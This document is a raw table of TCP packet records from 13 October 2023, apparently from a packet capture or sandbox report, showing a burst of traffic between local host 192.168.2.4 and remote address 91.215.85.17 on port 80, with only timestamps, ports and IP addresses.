Oct 13, 2023 16:05:55.907417059 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.907444954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.907517910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.907567978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.907604933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.907691956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.907741070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.907793999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.907880068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.907918930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.907955885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.908056021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.908098936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.908134937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.908205986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.908246994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.908301115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.908416986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.908458948 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.908494949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.908570051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.908612013 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.908612967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.908714056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.908760071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.908840895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.908927917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.908974886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.909043074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.909086943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.909138918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.909176111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.909257889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.909301996 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.909315109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.909368038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.909413099 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.909451008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.909528017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.909580946 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.909631968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.909698009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.909744024 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.909770966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.909845114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.909892082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.909989119 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.910108089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.910156012 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.910235882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.910288095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.910334110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.910383940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.910475969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.910527945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.910564899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.910648108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.910692930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.910891056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.910907984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.910924911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.910954952 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.911017895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.911065102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.911147118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.911245108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.911297083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.911333084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.911443949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.911490917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.911514997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.911597013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.911642075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.911678076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.911802053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.911847115 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.911866903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.911951065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.912003040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.912075043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.912158012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.912213087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.912281990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.912377119 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.912434101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.912470102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.912545919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.912599087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.912627935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.912715912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.912767887 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.912802935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.912918091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.912967920 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.913003922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.913099051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.913150072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.913186073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.913248062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.913297892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.913346052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.913470030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.913522005 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.913557053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.913615942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.913681030 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.913690090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.913772106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.913815022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.913815975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.913908958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.913927078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.913960934 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.914011955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.914066076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.914117098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.914208889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.914263010 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.914299965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.914374113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.914422989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.914449930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.914520025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.914570093 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.914619923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.914699078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.914751053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.914799929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.914846897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.914891958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.914930105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.914998055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.915046930 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.915096998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.915174961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.915241003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.915271044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.915355921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.915406942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.915435076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.915529013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.915580034 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.915615082 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.915690899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.915740967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.915776014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.915879965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.915927887 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.915951967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.916028976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.916080952 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.916116953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.916223049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.916275024 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.916310072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.916394949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.916444063 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.916495085 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.916588068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.916637897 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.916673899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.916783094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.916832924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.916867971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.916975021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.917021036 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.917038918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.917114973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.917160988 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.917197943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.917332888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.917387962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.917404890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.917495012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.917551994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.917572021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.917649984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.917695045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.917763948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.917845964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.917901993 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.917920113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.917993069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.918037891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.918072939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.918175936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.918229103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.918231964 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.918328047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.918374062 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.918409109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.918483973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.918534040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.918586016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.918703079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.918751001 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.918787956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.918868065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.918914080 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.918941021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.919007063 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.919050932 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.919150114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.919217110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.919266939 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.919317007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.919437885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.919485092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.919521093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.919573069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.919615030 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.919665098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.919724941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.919765949 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.919816971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.919939995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.919984102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.919996977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.920099974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.920140982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.920177937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.920254946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.920306921 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.920344114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.920419931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.920461893 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.920464993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.920542002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.920588017 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.920603037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.920634985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.920675993 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.920711994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.920789003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.920830011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.920866013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.921030998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.921084881 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.921087027 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.921211958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.921262980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.921288967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.921350956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.921400070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.921436071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.921533108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.921591997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.921641111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.921732903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.921781063 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.921817064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.921890020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.921936035 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.922018051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.922101021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.922152042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.922171116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.922246933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.922298908 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.922327042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.922420025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.922462940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.922514915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.922615051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.922657967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.922694921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.922797918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.922841072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.922877073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.922982931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.923032045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.923069954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.923140049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.923182964 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.923223019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.923297882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.923337936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.923368931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.923445940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.923491001 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.923542976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.923664093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.923715115 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.923724890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.923774004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.923789978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.923826933 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.923863888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.923913002 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.923921108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.923971891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.924025059 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.924032927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.924149990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.924197912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.924289942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.924305916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.924356937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.924417973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.924519062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.924567938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.924580097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.924597979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.924643040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.924679041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.924753904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.924802065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.924874067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.924973011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.924993992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.925024033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.925074100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.925120115 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.925154924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.925256014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.925302029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.925337076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.925354004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.925399065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.925452948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.925575972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.925622940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.925648928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.925724983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.925770044 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.925796032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.925930977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.925977945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.926002979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.926070929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.926115990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:55.926167965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:55.926282883 CEST	80	49762	91.215.85.17	192.168.2.4
